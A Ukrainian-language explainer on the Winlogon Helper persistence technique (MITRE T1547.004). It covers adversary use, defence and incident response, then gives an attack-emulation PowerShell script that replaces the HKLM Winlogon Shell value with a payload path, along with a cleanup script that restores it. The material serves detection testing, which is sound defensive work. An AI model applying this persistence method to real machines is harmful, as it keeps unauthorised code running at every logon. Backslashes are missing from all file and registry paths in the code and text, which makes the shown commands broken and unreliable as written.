T1547.004 у MITRE ATT&CK: Пояснення Winlogon Helper

Резюме

У статті пояснюється методи постійності Winlogon Helper DLL, який відслідковується як T1547.004, і розкриває, як супротивники змінюють ключі реєстру Winlogon для завантаження шкідливого коду під час входу користувача. У ній також згадуються реальні приклади, пов’язані з кампанією ToyBraker, шкідливим програмним забезпеченням KamiKakaBot і зразком, відомим як Mandela.exe. Основна увага приділяється змінам у реєстрі, які викликають автоматичне виконання шкідливих DLL або виконуваних файлів, коли система запускається або користувач входить.

Розслідування

Дослідники задокументували, як атакуючі створюють несанкціоновані облікові записи користувачів та змінюють значення реєстру Winlogon, такі як LegalNoticeText, DefaultUserName, AutoLogonCount і Shell, щоб зберегти доступ. Зразки шкідливих програм і випадки атак також показали використання інструментів командного рядка, таких як net user і reg add, для впровадження шкідливих налаштувань та запуску навантажень PowerShell під час процесу входу.

Захист

Захисникам слід ретельно контролювати і обмежувати зміни ключів реєстру Winlogon, застосовувати управління мінімальними привілеями при створенні облікових записів та використовувати управління додатками для блокування недовіренних або непідписанних DLL. Регулярний огляд запланованих завдань, служб і стартових локацій може також допомогти виявити несанкціоновані зміни постійності.

Відповідь

Коли виявляється підозріла активність реєстру Winlogon, потрібно ізолювати уражену кінцеву точку, захопити летючі докази та відновити змінені значення реєстру до відомого хорошого стану. Судово-медичне розслідування повинно тоді шукати будь-які додаткові механізми постійності та сканувати хост на наявність пов’язаних компонентів шкідливого ПО.

Виконання моделювання

Передумова: Повинна бути пройдена перевірка телеметрії та базових параметрів.

Обґрунтування: Цей розділ описує точну реалізацію техніки противника (T1547.004), яка призначена для спрацьовування правила виявлення. Команди та розповідь безпосередньо забезпечують телеметрію, яку очікує логіка виявлення.

• Опис атаки та команди:
  Атакувальник, який отримав права локального адміністратора, хоче постійності між перезавантаженнями. Вони обирають класичну підміну Winlogon “Shell”, оскільки вона запускається до завантаження робочого столу користувача і обходить більшість продуктів AV для кінцевих точок. Кроки такі:

  1. Створити шкідливий вантаж (наприклад, C:Tempevil.exe).
  2. Додати нове значення до HKLMSoftwareMicrosoftWindows NTCurrentVersionWinlogonShell вказуючи на вантаж.
  3. Перевірити, що зміна набула чинності, а потім виконати вихід/вхід для досягнення виконання.

• Сценарій регресійного тестування:

  #-------------------------------------------------
  # Регресійний тест – Підмана Winlogon Shell (T1547.004)
  #-------------------------------------------------
  param(
      [string]$PayloadPath = "C:Tempevil.exe",
      [string]$BackupPath = "$env:Tempwinlogon_shell_backup.txt"
  )
  
  # 1. Розгорнути підсерійний вантаж (проста копія calc.exe для демонстрації)
  if (-not (Test-Path $PayloadPath)) {
      Copy-Item "$env:SystemRootSystem32calc.exe" $PayloadPath -Force
  }
  
  # 2. Зберегти поточне значення Shell (якщо є)
  $regPath = "HKLM:SoftwareMicrosoftWindows NTCurrentVersionWinlogon"
  $currentShell = (Get-ItemProperty -Path $regPath -Name Shell -ErrorAction SilentlyContinue).Shell
  Set-Content -Path $BackupPath -Value $currentShell -Encoding UTF8
  
  # 3. Встановити шкідливий значення Shell
  Set-ItemProperty -Path $regPath -Name Shell -Value $PayloadPath -Force
  
  Write-Host "[+] Шкідливий Shell Winlogon встановлено на $PayloadPath"
  Write-Host "[+] Оригінальне значення збережено до $BackupPath"

• Команди очищення:

  #---------------------------------
  # Очищення – Відновлення Winlogon Shell
  #---------------------------------
  $regPath = "HKLM:SoftwareMicrosoftWindows NTCurrentVersionWinlogon"
  $backupFile = "$env:Tempwinlogon_shell_backup.txt"
  
  if (Test-Path $backupFile) {
      $original = Get-Content -Path $backupFile -Raw
      if ([string]::IsNullOrWhiteSpace($original)) {
          # Оригінальне значення було порожнім – видалити властивість
          Remove-ItemProperty -Path $regPath -Name Shell -ErrorAction SilentlyContinue
      } else {
          Set-ItemProperty -Path $regPath -Name Shell -Value $original -Force
      }
      Remove-Item $backupFile -Force
      Write-Host "[+] Shell Winlogon відновлено до оригінального стану."
  } else {
      Write-Warning "Файл резервної копії не знайдено – потрібна ручна перевірка."
  }